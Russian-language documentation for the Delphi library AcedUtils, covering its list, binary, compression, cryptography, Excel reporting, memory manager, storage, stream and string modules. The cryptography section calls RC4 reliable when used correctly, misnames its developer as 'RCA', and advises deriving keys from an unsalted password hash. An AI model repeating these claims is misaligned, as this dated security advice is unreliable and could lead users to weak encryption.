    Эти классы предназначены для работы со списком значений типа Integer или Word, соответственно. Классы полностью аналогичны друг другу, поэтому рассмотрим только первый из них – класс TIntegerList. Список значений может быть сортированным или несортированным. Это зависит от свойства MaintainSorted. Если оно равно True, при выполнении операций добавления и удаления элементы списка гарантированно располагаются в порядке возрастания значений. Если свойство MaintainSorted равно False, новые элементы добавляются в конец списка, независимо от их значений. В этом случае допустимо использовать метод Insert для вставки элемента в произвольное место списка. Кроме того, можно использовать методы UnorderedRemove и UnorderedRemoveAt для быстрого удаления элементов списка. При вызове данного метода удаляемый элемент замещается последним элементом списка, после чего свойство Count уменьшается на 1. Таким образом, удаление элемента списка происходит без смещения следующих за ним элементов. Когда MaintainSorted равно True, при вызове методов Insert и UnorderedRemove/UnorderedRemoveAt возникает исключение, т.к. произвольная вставка и unordered-удаление могут нарушить порядок сортировки элементов. Для поиска значений в списке применяется метод IndexOf, который возвращает индекс найденного элемента или -1, если искомый элемент отсутствует. Когда элементы списка отсортированы, используется быстрый алгоритм бинарного поиска, в противном случае – линейный поиск с помощью функции G_Scan_Integer из модуля AcedBinary. Иногда бывает удобнее не поддерживать список все время в отсортированном виде, так как это замедляет процесс вставки и удаления элементов. Можно просто перед началом поиска вызвать метод EnsureSorted. Тогда, если список не был отсортирован, он сортируется, а затем выполняется быстрый бинарный поиск. Естественно, это имеет смысл делать, только если поиск выполняется многократно, т.к. сама сортировка занимает больше времени, чем линейный поиск. Аналогично классу TBitList, в TIntegerList есть методы для загрузки списка из бинарного потока типа TBinaryReader, из произвольной области памяти, из реестра Windows или из другого экземпляра класса TIntegerList.
    Список может быть сохранен в бинарном потоке TBinaryWriter или в реестре Windows. Кроме того, список может быть загружен из строки, содержащей данные в кодировке Base64, и может быть сохранен в виде строки в кодировке Base64. Новые элементы обычно добавляются в список методами Add или AddIfNotExists, когда необходимо избежать дублирования значений в списке. Чтобы удалить элемент из списка по индексу, вызывается метод RemoveAt, а чтобы удалить элемент с определенным значением – метод Remove. При удалении значений методами Remove и RemoveAt порядок остающихся в списке элементов не меняется. Список полностью очищается при вызове метода Clear. Функция Equals позволяет поэлементно сравнить два списка, а функция Clone возвращает копию данного экземпляра класса TIntegerList. Когда свойство MaintainSorted равно False, экземпляр TIntegerList можно использовать в качестве стека. Значения помещаются в стек (в конец списка) методом Add, а извлекаются из стека (с конца списка) методом Pop в соответствии с правилом: "первым вошел – последним вышел". Получить последнее значение, помещенное в стек, без его удаления можно методом Peek. При вызове методов Peek и Pop количество элементов в списке не проверяется. Ответственность за то, что список не является пустым, возлагается на пользователя класса. Обратиться к отдельным элементам списка можно через свойство ItemList, которое возвращает указатель на массив элементов типа Integer. Число используемых элементов в этом массиве определяется свойством Count. Количество элементов, под которое распределена память во внутреннем массиве, считывается и устанавливается свойством Capacity. Начальное значение этого свойства передается как параметр в конструктор класса TIntegerList. При описании модуля AcedBinary были рассмотрены функции, позволяющие работать с массивами чисел типа Integer как с множествами, в частности, применять к ним различные логические операции. Эти операции можно производить и с экземплярами класса TIntegerList. Например, пусть имеется два отсортированных списка значений типа Integer List1 и List2, из которых необходимо получить третий список List3, содержащий значения, присутствующие в первом списке, но отсутствующие во втором.Это соответствует операции вычитания множеств. Можно создать новый экземпляр класса TIntegerList для хранения списка-результата List3, передав в его конструктор число элементов первого списка, т.к. это число соответствует максимальной длине выходного массива для случая, когда два исходных множества не имеют пересечения. Операция вычитания множеств и заполнения списка List3 выполняется одной строкой кода: List3.Count := G_AndNotSet_Integer(List1.ItemList, List1.Count, List2.ItemList, List2.Count, List3.ItemList).

    Модуль AcedBinary

    В этом модуле собрано большое число функций для работы с блоками памяти, массивами байт, слов, двойных слов, битовыми строками. Подробное их описание можно найти в исходном коде модуля. Следует обратить внимание на то, что функции из модулей AcedBinary и AcedCrypto используют инструкции MMX для достижения большей производительности. Поэтому на компьютере пользователя должен быть установлен, как минимум, процессор Pentium MMX или Pentium II, поддерживающий данный набор инструкций. Рассмотрим основные группы функций в AcedBinary. К первой группе относятся функции, работающие с массивами одно-, двух- или четырехбайтных элементов. Например, распределить блок памяти и сразу обнулить его можно вызовом функции G_AllocMem. Когда необходимо заполнить нулями уже распределенный массив, пригодится функция G_ZeroMem. Если нужно скопировать содержимое одного блока памяти в другой и заранее известно, что эти блоки памяти не перекрываются, вместо стандартной процедуры Move лучше воспользоваться функцией G_CopyMem из AcedBinary, которая выполнит то же действие значительно быстрее. При работе с массивами двойных слов можно использовать функцию G_FillLongs для заполнения массива определенным значением, функцию G_CopyLongs для копирования такого массива или его фрагмента в другой массив. Когда требуется найти число типа Word или Integer в несортированном массиве, вместо организации цикла с перебором элементов массива лучше вызвать функцию G_Scan_Word или G_Scan_Integer. Эти функции используют специальные машинные инструкции для быстрого поиска значения в массиве двух- или четырехбайтных элементов. В AcedBinary есть группа функций для работы с отсортированными массивами элементов типа Integer, Word, LongWord, которая включает функции для сортировки массивов по возрастанию (G_Sort…), выполнения бинарного поиска (G_Search…), обращения порядка элементов (G_Reverse…). Кроме того, такие массивы можно рассматривать как множества и применять к ним соответствующие операции. Например, отсортированный массив уникальных элементов типа Integer – это одно из возможных представлений множества: [-2147483648..2147483647].
    Функция G_AndSet_Integer формирует из двух таких массивов новый массив, состоящий только из тех элементов, которые присутствуют в обоих массивах; G_OrSet_Integer возвращает массив, состоящий из элементов, которые присутствуют хотя бы в одном из исходных массивов; G_XorSet_Integer формирует массив из элементов, которые присутствуют только в одном из исходных массивов; G_AndNotSet_Integer возвращает массив элементов, которые присутствуют в первом, но отсутствуют во втором массиве. Есть еще две информационные функции для работы со множествами: G_SetIntersectsWith_Integer возвращает True, если в двух массивах есть какие-либо общие элементы, т.е. пересечение двух множеств не является пустым множеством; G_SetContainedIn_Integer возвращает True, если все элементы первого массива присутствуют во втором массиве, т.е. первое множество является подмножеством второго. Аналогичные функции имеются для массивов элементов типа Word и LongWord. Эти функции могут использоваться совместно с классами AcedIntegerList и AcedWordList, определенными в модуле AcedStreams. Следующая группа функций в AcedBinary предназначена для работы с битами в составе двойного слова, т.е. значения типа LongWord. Эта группа включает функции: G_CeilPowerOfTwo, G_FloorPowerOfTwo (округляют двойное слово до ближайшей степени числа 2 вверх или вниз, соответственно); G_ReverseBits (обращает порядок следования битов); G_BitTest32, G_BitSet32, G_BitReset32, G_BitToggle32 (используются для проверки, установки, сброса или инвертирования одного бита в составе двойного слова). Есть также функции для подсчета числа установленных и сброшенных битов, поиска первого или последнего бита с заданным состоянием и т.п. Последняя группа функций аналогична только что рассмотренным, но эти функции работают с битами в составе битовой строки. Например, функция G_BitSet устанавливает в единицу бит с заданным индексом в битовой строке, адресуемой первым параметром этой функции; функция G_ToggleBits инвертирует все биты в заданном диапазоне битовой строки; G_CountOfFreeBits подсчитывает число нулевых битов в битовой строке; G_SetBitScanForward возвращает индекс первого установленного, т.е.единичного, бита в составе битовой строки. Эти и другие функции используются классом TBitList, определенным в модуле AcedLists, для эффективной работы с данными, представленными в виде битовой строки.

    Модуль AcedCommon

    В AcedCommon собраны разнообразные функции, в том числе, для форматирования даты и времени, преобразования числа в строку и строки в число, записи числовых и денежных сумм прописью, замены символов строки шестнадцатеричными кодами этих символов и, наоборот, замены кодов символами, кодирования байтовых массивов и строк в Base64 и обратного их преобразования. Кроме того, здесь находятся функции для вычисления контрольной суммы Адлера и CRC32, работы со счетчиками, таймером высокого разрешении, а также несколько вспомогательных функций.

    Модуль AcedCompression

    В модуле AcedCompression находятся функции, предназначенные для сжатия бинарных данных методом Зива-Лемпела с последующим преобразованием в код Хаффмана. Упаковка данных осуществляется функцией G_Deflate, которая принимает в качестве параметра Mode одну из констант, выбирающих режим сжатия. Возможны следующие режимы:
  • dcmNoCompression – данные не сжимаются, просто копируются в выходной массив. Функция G_Deflate переключается в этот режим автоматически, если сжимаемые данные не являются избыточными, например, если они зашифрованы или упакованы другим методом. Размер исходного массива увеличивается при этом на 4 байта, в которых сохраняется длина исходного массива. Таким образом, 4 байта – это максимальная величина, на которую увеличивается длина исходного массива в случае невозможности его сжатия.
  • dcmFastest – используется, когда надо сжать данные максимально быстро. При этом качество сжатия во многом зависит от характера самих данных. Если они содержат большое число повторяющихся фрагментов, использование этого режима нежелательно, т.к. в нем используется "облегченный" вариант словарного метода сжатия (Зива-Лемпела). Сжатие Хаффмана, наоборот, реализовано в полной мере. Оно основано на разности частот появления отдельных кодов символов. Если к исходным данным применим такой способ упаковки и они содержат мало повторяющихся последовательностей, режим dcmFastest может оказаться даже более эффективным, чем режим dcmMaximumCompression, за счет большей дисперсии частот отдельных кодов. Это справедливо, например, при сжатии wav-файлов. Максимальное расстояние между повторяющимися последовательностями байт в этом режиме принимается равным 8191 байту.
  • dcmFast – обычная степень сжатия, достигаемая за минимальное время. Вероятно, данный режим является оптимальным при сжатии бинарных данных. В этом случае использование режимов dcmNormal и dcmMaximumCompression приводит к уменьшению размера выходного массива на 1-2%, но время сжатия возрастает в несколько раз. В режиме dcmFast максимальное расстояние между повторяющимися фрагментами данных равно 65535 байтам.
  • dcmNormal – обычно соответствует хорошей степени сжатия.
    Его можно использовать для данных с большим числом повторяющихся фрагментов, например, текстов или doc-файлов. При этом сжатие происходит в 1.5-2 раза быстрее, чем в режиме dcmMaximumCompression, но примерно во столько же раз медленнее, чем в режиме dcmFast. Максимальное расстояние между повторяющимися группами байт принимается равным 131071 байту.
  • dcmMaximumCompression – в этом режиме достигается максимальная степень упаковки, доступная для реализованного в AcedCompression метода сжатия. Может применяться для сильно избыточных данных или для данных, которые редко сжимаются, а затем многократно используются. Максимальное расстояние между повторяющимися фрагментами данных принимается равным 262143 байтам.
  • В модуле AcedCompression есть два варианта функции G_Deflate. В первом варианте функция сама распределяет память под массив, достаточный для хранения упакованных данных. Во втором варианте массив должен быть создан заранее, а функция G_Deflate только заполняет его данными. Имеются также функции для распаковки сжатого массива данных. Размер исходного массива можно получить вызовом функции G_GetInflatedLength, а сама распаковка данных выполняется функцией G_Inflate. Имеется два варианта этой функции. В первом варианте память под массив, содержащий выходные данные, распределяется функцией G_Inflate. Во втором варианте, массив для хранения распакованных данных должен быть создан заранее размером не менее, чем длина, которую вернул вызов функции G_GetInflatedLength для упакованного массива данных. Следует отметить, что используемый режим сжатия не влияет на скорость распаковки данных (естественно, кроме режима dcmNoCompression, при котором данные итак находятся в распакованном виде). Продолжение

    Модуль AcedCrypto

    Модуль объединяет функции для шифрования и верификации данных, а также для генерации псевдослучайных чисел. Функции G_RC4… предназначены для шифрования данных методом RC4. Это широко распространенный поточный шифр. Возможно, по стойкости он уступает блочным шифрам, типа Rijndael или CAST, но, зато, значительно превосходит их по производительности. Не так давно в этом шифре было обнаружено несколько уязвимостей, которые касаются алгоритма заполнения внутреннего массива ключей (key scheduling algorithm). Чтобы избежать связанной с этим гипотетической опасности взлома зашифрованных данных, компания RCA, разработчик данного шифра, рекомендует пропускать первые 256 байт выходной псевдослучайной последовательности. Функции из модуля AcedCrypto написаны с учетом этого замечания. При правильном использовании метод RC4 является вполне надежным. Надо только помнить основную особенность поточных шифров – один и тот же ключ не должен применяться для шифрования различных данных. Например, ключ может вычисляться с помощью побитовой операции xor двух чисел, одно из которых является постоянным и рассчитывается как цифровая сигнатура пароля, вводимого пользователем с клавиатуры, а второе число является изменяемым и создается генератором псевдослучайных чисел перед каждым сеансом шифрования данных. Изменяемое число может сохраняться в первых байтах зашифрованного потока данных. Следующий набор функций из AcedCrypto G_RC6… предназначен для шифрования данных методом RC6. Это блочный шифр, разработанный компанией RCA. Нормальная длина ключа при шифровании методом RC6 составляет 256 бит (32 байта). В AcedCrypto имеются функции для инициализации процесса шифрования, задания начального вектора, шифрования и дешифрования 128-битного блока данных в режиме ECB (электронная кодовая книга), шифрования и дешифрования произвольного массива байт в режимах CFB (обратная загрузка шифротекста) и OFB (обратная загрузка выходных данных) с размером блока 128 бит. В режимах CFB и OFB размер шифруемых и дешифруемых фрагментов данных должен совпадать или размер этих фрагментов должен быть кратен 16 байт.
    При использовании в качестве ключа шифра пароля, вводимого пользователем с клавиатуры, нужно передавать в функцию G_RC6Init в качестве ключа не саму строку, содержащую введенный пароль, а цифровую сигнатуру SHA-256, рассчитанную для строки, введенной пользователем. Далее в модуле AcedCrypto находятся функции для расчета значения односторонней хеш-функции SHA-256 массива байт. Цифровая сигнатура SHA-256 представляет собой массив из 32 байт, который вычисляется по данным исходного массива байт таким образом, чтобы, во-первых, невозможно было подобрать другой массив байт, для которого значение сигнатуры совпало бы с данной сигнатурой, и, во-вторых, чтобы по значению цифровой сигнатуры невозможно было восстановить какие-либо значения из исходного массива байт. Алгоритм расчета SHA-256 реализован в соответствии с документом FIPS180-2. Имеются функции для расчета цифровой сигнатуры массива байт и строки символов. Кроме того, можно рассчитать сигнатуру для массива байт, представленного в виде нескольких фрагментов. Это удобно, например, при работе с данными, организованными в виде потока типа TStream. Функции G_Random… реализуют собой генератор псевдослучайных чисел Mersenne Twister, период которого можно считать равным бесконечности. Функция G_RandomNext возвращает число типа LongWord, равномерно распределенное в интервале от 0 до $FFFFFFFF; функция G_RandomUniform генерирует псевдослучайную величину, равномерно распределенную в интервале [0.0, 1.0]; G_RandomGauss используется для моделирования непрерывной случайной величины с нормальным законом распределения. Функция G_RandomFill позволяет заполнить область памяти псевдослучайной последовательностью байт. Функция G_RandomEncryptVector шифрует внутренний вектор, используемый при генерации псевдослучайных чисел, методом RC6. Это соответствует переводу генератора на новую числовую последовательность. Следует отметить, что сама по себе выходная числовая последовательность данного генератора не является криптографически стойкой.Чтобы превратить ее в криптографически стойкую, можно воспользоваться, например, функцией G_SHA256Transform.

    Модуль AcedExcelReport

    Предназначен для генерации отчетов с помощью пакета Microsoft Excel. Отчеты создаются на основе XLT-шаблонов или как новые рабочие книги. При построении отчетов, кроме AcedExcelReport, используются модули: Variants, ActiveX, ComObj и, главное, Excel97, содержащий данные библиотеки типов Microsoft Excel. Версии этой библиотеки для Office 2000 и Office XP мало чем отличаются от Excel 97 с точки зрения возможностей, используемых при генерации отчетов. Однако, при подключении к программе модулей Excel2000 и ExcelXP нарушается совместимость со старой версией Microsoft Excel 97. При построении отчетов в Excel через COM-интерфейсы особое внимание следует уделить сокращению числа обращений к серверу, особенно через интерфейс IDispatch. Например, вместо того, чтобы последовательно заполнять данными отдельные ячейки прямоугольной области рабочего листа, гораздо эффективнее создать в памяти вариантный массив, заполнить его, и передать в Excel сразу все значения ячеек прямоугольной области. Построение отчета обычно начинается с подготовки данных, которые нужно представить в виде таблицы. При этом могут создаваться временные списки типа TArrayList для группирования, сортировки данных и т.п. Затем, когда уже известно количество элементов в каждой области отчета, создаются массивы типа Variant вызовом функции VarArrayCreate из модуля Variants. В эту функцию передаются диапазоны индексов создаваемого массива и тип элементов массива, который может быть равен varVariant, если в массив помещаются данные различного типа. При создании вариантного массива для последующего проецирования его на рабочий лист Microsoft Excel надо учитывать, что первый индекс в этом массиве задает строку, а второй – столбец рабочего листа. После создания массива он заполняется данными, которые нужно показать в отчете. Все значения типа Currency должны быть преобразованы к типу Double функцией G_CurrencyToDouble из модуля AcedCommon перед помещением их в вариантный массив или в ячейку рабочего листа. Для подсчета итоговых сумм лучше использовать функции рабочего листа, а не вычислять эти суммы в процессе группирования данных и не помещать их в отчет в виде готовых чисел. Следующим этапом после подготовки данных и заполнения вариантных массивов является запуск приложения Microsoft Excel и создание рабочей книги.
    Для запуска Microsoft Excel вызывается функция StartExcel из модуля AcedExcelReport. Если на компьютере пользователя Microsoft Excel не установлен, на экране появляется соответствующее сообщение для пользователя и функция возвращает False. В случае успеха она возвращает True. Если Excel уже запущен, функция StartExcel ничего не делает, просто возвращает True. Для создания новой рабочей книги вызывается функция CreateExcelWorkbook. В нее как var-параметр передается переменная типа Excel97._Workbook, в которой затем сохраняется ссылка на созданный экземпляр рабочей книги. Один из вариантов функции CreateExcelWorkbook создает пустую рабочую книгу с заданным числом листов. Другой вариант этой функции создает рабочую книгу на основе указанного XLT-шаблона. В случае успеха эта функция возвращает True, а если в процессе создания рабочей книги произошло исключение, оно перехватывается и функция возвращает False. После этого настраивается внешний вид рабочей книги. Это делается вызовом процедуры InitializeExcelWorkbook. При этом можно определить заголовок окна, в котором показывается отчет, а также указать на необходимость или отсутствие необходимости отображения ярлычков листов рабочей книги, нулевых значений на листе, заголовков строк и столбцов (A, B, C…1, 2, 3…), линий сетки, горизонтальной и вертикальной полосы прокрутки рабочего листа. Получить ссылку на первый лист рабочей книги можно следующим образом: (WB.Worksheets[1] as _Worksheet), где WB – ссылка на рабочую книгу. Диапазон всех ячеек рабочего листа возвращается функцией Get_Cells, вызванной для экземпляра класса _Worksheet. Ссылку на этот диапазон лучше сразу сохранить в отдельной переменной, чтобы впоследствии передавать ее в качестве параметра в различные функций из модуля AcedExcelReport. Следует обратить внимание на то, что по умолчанию нумерация строк и столбцов на рабочем листе начинается с единицы. Если предпочтительно использовать нумерацию с нуля, можно установить в единицу глобальные переменные ExcelRowOffset и ExcelColumnOffset, объявленные в модуле AcedExcelReport.Значения этих переменных прибавляются, соответственно, к номеру строки и номеру столбца при вызове любой функции из AcedExcelReport, в которую передается номер строки и/или номер столбца. Переменные ExcelRowOffset и ExcelColumnOffset позволяют произвольным образом задать начало отсчета на рабочем листе. Например, если таблица данных начинается с ячейки B5, можно присвоить ExcelRowOffset значение 5, а ExcelColumnOffset значение 2 и при обращении к ячейкам таблицы данных использовать индексацию с нуля. Эти переменные обнуляются при вызове процедуры InitializeExcelWorkbook. Обратиться к запущенному экземпляру приложения Microsoft Excel можно через глобальную переменную ExcelApp, объявленную в модуле AcedExcelReport. Для завершения работы приложения Microsoft Excel и выгрузки его из памяти предназначена процедура ShutdownExcel. Обычно ее не нужно вызывать из прикладной программы, т.к. ShutdownExcel вызывается из раздела finalization модуля AcedExcelReport.

    Модуль AcedLists

    Содержит классы для работы со списками. Кроме перечисленных ниже классов, в AcedLists определены функции G_SortAscending и G_SortDescending для потокобезопасной сортировки, соответственно, по возрастанию и убыванию массива указателей. Элементы сортируемого массива сравниваются с помощью функции, адрес которой передается в качестве параметра в функции G_SortAscending и G_SortDescending. Вместо этих двух функций можно было бы оставить одну, а порядок сортировки изменять путем задания различных функций сравнения элементов массива. Однако, при изменении структуры данных пришлось бы вносить согласованные изменения во все функции сравнения. Этот путь легко может привести к ошибкам. Гораздо удобнее и надежнее иметь одну функцию сравнения элементов массива и, в зависимости от желаемого порядка сортировки, вызывать либо G_SortAscending, либо G_SortDescending.

    Модуль AcedMemory

    Этот модуль предназначен для замены стандартного менеджера памяти Borland Delphi альтернативным механизмом распределения памяти. Целью разработки нового менеджера памяти было стремление оптимизировать работу с небольшими блоками памяти, которые возникают при организации хранения данных в виде объектной базы, когда каждая запись представляется экземпляром соответствующего класса. Под оптимизацией подразумевается, во-первых, повышение скорости при выделении/освобождении блоков памяти, во-вторых, решение проблемы фрагментации свободных блоков. Рассмотрим подробнее, за счет чего это достигается при использовании AcedMemory. Память запрашивается у операционной системы вызовом VirtualAlloc блоками размером 2МБ, которые в данном контексте называются регионами. Каждый регион состоит из 32 блоков размером 64кБ. Каждый такой блок предназначен для фрагментов памяти определенного размера. Например, один блок может содержать 4 фрагмента по 16кБ, другой – 1024 фрагмента по 64 байта и т.д. Когда из прикладной программы вызывается функция GetMem, размер выделяемых фрагментов памяти округляется вверх до ближайшего числа, равного 2 в степени N, где N может быть от 3 до 16. Когда все фрагменты памяти нужного размера в составе блока заняты, в регионе выделяется следующий блок под фрагменты памяти нужного размера. Если все 32 блока в составе региона заняты, создается новый регион размером 2МБ. Адрес каждого фрагмента памяти (до 64кБ) кратен его размеру, что положительно влияет на производительность. В отличие от стандартного менеджера памяти, размер выделяемых фрагментов не хранится в памяти с отрицательным смещением, а вычисляется, при необходимости, по адресу фрагмента. Когда требуется выделить фрагмент памяти размером более 64кБ, этот размер округляется вверх до числа, кратного 4096 байтам, а затем вызывается функция VirtualAlloc для запроса соответствующего блока памяти у операционной системы. Для подключения AcedMemory к проекту, ссылку на этот модуль необходимо добавить в раздел uses файла проекта, причем AcedMemory должен стоять первым в этом разделе.
    Стандартные модули Forms, Classes и прочие должны находиться в списке uses, после AcedMemory. Если этого не сделать, при завершении программы возникнет ошибка. Это происходит из-за того, что в разделе finalization модуля Classes косвенно вызывается функция FreeMem для освобождения некоторых блоков памяти, выделенных в процессе работы программы. Модули финализируются в порядке, обратном их перечислению в разделе uses файла проекта. Чтобы менеджер памяти AcedMemory был еще активен на момент вызова раздела finalization модуля Classes, ссылка на AcedMemory должна находиться в списке uses файла проекта перед модулем Classes и любыми другими модулями, использующим Classes, как, например, модуль Forms. Кроме, собственно, механизма для выделения/освобождения памяти, в модуле AcedMemory имеется несколько вспомогательных функций: G_GetMemSize возвращает размер блока памяти, адрес которого передан как параметр; функция G_GetTotalMemAllocated возвращает общий объем памяти, выделенный прикладной программе. Вызов этой функции не приводит к длительному пересчету размеров всех выделенных блоков. Вместо этого просто возвращается значение внутреннего счетчика памяти. Функция G_GetTotalMemCommitted возвращает общий размер физической памяти, выделенной программе операционной системой. Это число не учитывает память, выделенную в "куче" для служебных структур модуля AcedMemory, а также память, распределенную средствами, отличными от менеджера памяти.

    Модуль AcedStorage

    Содержит типы и классы, предназначенные для организации объектного хранилища данных на локальном компьютере или на файловом сервере с возможностью многопользовательского доступа. Хранение данных на файловом сервере широко использовалось до появления серверов баз данных. В настоящее время для хранения информации почти всегда используется какой-либо сервер БД, контролирующий соблюдение ограничений и целостность данных. Несмотря на очевидные достоинства такого подхода, в некоторых случаях имеет смысл пожертвовать этими возможностями в обмен на компактный формат хранения данных, высокую производительность при выборке и изменении данных, отсутствие необходимости установки серверной части приложения, объектно-ориентированное представление данных. Возложение ответственности за целостность данных на клиентское приложение приводит к некоторому усложнению кода. Тем не менее, наличие готового механизма разрешения коллизий на файловом сервере в значительной мере облегчает эту задачу. При небольшом объеме хранящихся данных довольно эффективным решением может быть загрузка в память приложения целых таблиц с данным и полная перезапись файлов с данными при их модификации. Недостаток такого способа хранения информации, в отличие от реляционных баз данных, заключается в том, что при изменении даже одного элемента коллекции файл данных приходится переписывать целиком. Чтобы уменьшить значимость этой проблемы можно разбивать большие наборы данных на группы элементов, объединенных по какому-либо признаку, и хранить каждую группу в отдельном файле данных. В памяти следует создать ассоциативный массив, связывающий значение признака с соответствующей коллекцией, представляющей часть общего набора данных. При внесении изменений в одну из таких коллекций нет необходимости перезаписывать другие коллекции того же набора данных. В реляционных базах данных язык SQL можно рассматривать в качестве посредника между потребителем данных (клиентом) и СУБД (сервером). При подготовке и выполнении сложных запросов возникают две проблемы.
    Во-первых, клиент должен сгенерировать текст запроса в виде предложения на языке SQL. Если структура базы данных включает сложные связи между таблицами, конструирование SQL-запросов представляет собой нетривиальную задачу. Во-вторых, на стороне сервера должен быть произведен разбор полученного SQL-предложения, а затем, с учетом метаданных, оптимизация запроса и выполнение кода для фактической манипуляции данными. Эффективное выполнение SQL-запросов представляет собой научную проблему. С другой стороны, можно изначально отказаться от посредника в виде языка SQL при взаимодействии потребителя с хранилищем данных. Безусловно, такой подход может быть применен только ограниченно, в рамках одного приложения или группы проектов. Однако, при правильной организации структуры данных прямое обращение клиентов к данным хранилища может не только повысить производительность, но и, в конечном счете, уменьшить сложность кода, сократить затраты на разработку и сопровождение приложения, чему способствует, в частности, наличие механизма контроля версий данных. При использовании модуля AcedStorage все данные представляются в виде объектов: таблицы – в виде экземпляров класса TSerializableCollection, записи в таблицах – экземплярами класса TSerializableObject, точнее производных от него классов. Для сортировки и поиска записей применяются индексы – объекты типа TDataIndex. К библиотеке AcedUtils прилагается демонстрационный проект – приложение, использующее для хранения данных и одновременного доступа к данным нескольких пользователей классы из модуля AcedStorage. Пример кратко описывается далее в этой статье. Рассмотрим все эти классы подробнее.

    Модуль AcedStreams

    Содержит классы, предназначенные для работы с бинарным потоком данных. Бинарный поток в данном контексте – это просто массив байт в памяти, размер которого динамически увеличивается по мере добавления новых данных. После того, как все данные помещены в поток, содержимое бинарного потока может быть преобразовано в массив, строку в кодировке Base64, сохранено в файле или в другом потоке типа TStream. При этом может быть произведена упаковка данных методом LZ+Huffman, шифрование методом RC6 и подпись цифровой сигнатурой SHA-256. Для проверки целостности данных вместе с ними в бинарный поток помещается значение контрольной суммы Адлера. Бинарный поток создается с помощью экземпляра класса TBinaryWriter. Cтандартные классы в составе VCL ориентированы на работу с потоком типа TStream. Чтобы решить эту проблему в модуле AcedStreams предусмотрен класс TStreamWriter, который является потомком стандартного класса TStream и, одновременно, представляет собой оболочку над TBinaryWriter. Таким образом, можно, например, сохранить изображение типа TGraphic в потоке TBinaryWriter. Для этого следует создать экземпляр класса TStreamWriter, передав в его конструктор ссылку на TBinaryWriter. Затем этот экземпляр TStreamWriter можно передать как параметр в метод TGraphic.SaveToStream. Кроме классов TBinaryWriter, TStreamWriter, в модуле AcedStreams имеются соответствующие им классы TBinaryReader, TStreamReader, предназначенные для загрузки данных из бинарного потока. Когда нужно считать данные из потока, после создания экземпляра класса TBinaryReader конструктором Create, чтобы загрузить массив с данными в память, необходимо вызвать один из следующих методов: LoadFromArray (загружает данные, представленные в виде массива байт, ссылка на который передается в качестве параметра), LoadFromBase64 (загружает данные из строки в кодировке Base64), LoadFromFile (загружает данные из файла, который был предварительно открыт и установлен в позицию, соответствующую началу блока данных), LoadFromStream (загружает данные из потока типа TStream).
    Все методы LoadFrom… принимают в качестве параметра ссылку на 256-битный ключ EncryptionKey. Если в этом параметре передан указатель на ключ, отличный от nil, при загрузке данных выполняется их дешифрование с указанным ключом и проверка целостности данных по сохраненному в потоке значению цифровой сигнатуры SHA-256. В классе TBinaryReader имеются методы для чтения из потока значений различного типа, включая String, Integer, TDateTime и т.д., а также метод Read, копирующий заданное число байт из бинарного потока в указанную область памяти. Если данные бинарного потока должны быть считаны некоторым стандартным классом, работающим только с потоками типа TStream, таким как класс TBitmap, нужно создать экземпляр класса TStreamReader, передав в его конструктор ссылку на соответствующий экземпляр TBinaryReader. После этого данные могут быть загружены методом TBitmap.LoadFromStream с передачей в него ссылки на созданный экземпляр TStreamReader. Класс TBinaryWriter используется для создания и заполнения динамического массива, представляющего собой бинарного поток. Данные записываются в поток методами WriteString, WriteInteger, WriteDateTime и т.п. Кроме того, метод Write позволяет скопировать в поток содержимое произвольной области памяти. Когда все необходимые данные помещены в бинарный поток, можно вызвать один из следующих методов: SaveToArray (представляет данные потока, возможно, сжатые и зашифрованные, в виде массива байт), SaveToBase64 (представляет данные в виде строки в кодировке Base64), SaveToFile (сохраняет данные в файле, дескриптор которого передан в качестве параметра), SaveToStream (сохраняет данные в потоке типа TStream). Все методы SaveTo… принимают параметр CompressionMode, который устанавливает режим сжатия бинарных данных перед помещением их в выходной массив (см. перечень констант, выбирающих режим сжатия, при описании модуля AcedCompression). Методы SaveTo… принимают также параметр EncryptionKey. Если он не равен значению nil, то должен содержать ссылку на 256-битный ключ, т.е.массив из 32 байт. В этом случае данные бинарного потока шифруются методом RC6 с указанным ключом. Кроме того, для них вычисляется значение цифровой сигнатуры SHA-256, которая также записывается в выходной массив и используется в дальнейшем при расшифровке данных для проверки их целостности. Ключ шифра передается параметром типа PSHA256Digest. Это является своего рода подсказкой того, что в качестве ключа при шифровании методом RC6 удобно использовать значение односторонней функции SHA-256, рассчитанное для некоторого массива байт или строки символов, вводимой пользователем в качестве пароля.

    Модуль AcedStrings

    AcedStrings содержит набор функций, предназначенных для работы со строками типа AnsiString. Кроме того, в этом модуле находится класс TStringBuilder, являющийся аналогом классов StringBuilder из .NET или Java. Рассмотрим подробнее, что полезного есть в этом модуле. В AcedStrings находятся функции, реализующие быстрое сравнение строк с учетом или без учета регистра символов. Сравнение выполняется на больше-меньше или на равно-не равно. При сравнении могут учитываться все символы или только определенное число начальных символов строки. Следующая группа объединяет функции, используемые для преобразования строк и отдельных символов к верхнему или нижнему регистру. Далее следуют функции, которые облегчают работу со строками, сохраненными в кодировке MS-DOS. Они позволяют быстро менять кодировку строк с DOS на Windows и обратно. В процессе преобразования используются массивы перекодировки ToOemChars и ToAnsiChars, определенные в конце интерфейсного раздела модуля. Эти массивы по умолчанию соответствуют кодировке "Кириллица Win1251". Однако, используя небольшую программу, текст которой приведен в виде комментария в модуле AcedStrings, можно сформировать соответствующие таблицы для любой другой кодировки символов. Есть также возможность динамического формирования таблиц перекодировки в момент запуска программы на компьютере конечного пользователя в зависимости от текущих региональных настроек. Этот режим включается при определении символа USE_DYNAMIC_TABLES в коде модуля AcedStrings. Следующая группа содержит функции поиска, замены, удаления подстрок и отдельных символов. Здесь находятся функции быстрого поиска подстрок с учетом и без учета регистра символов. Поиск выполняется с начала (функции G_PosStr/G_PosText) или с конца строки (функции G_LastPosStr/G_LastPosText). Для поиска отдельных символов служат функции G_CharPos и G_LastCharPos. Функция G_Paste заменяет фрагмент строки определенной длины, начиная с указанного символа, другим фрагментом. Функции: G_ReplaceStr, G_ReplaceText, G_ReplaceChar, G_ReplaceChars, G_ReplaceCharsWithOneChar используются для замены всех вхождений подстроки или некоторого символа в строке другой подстрокой или символом.
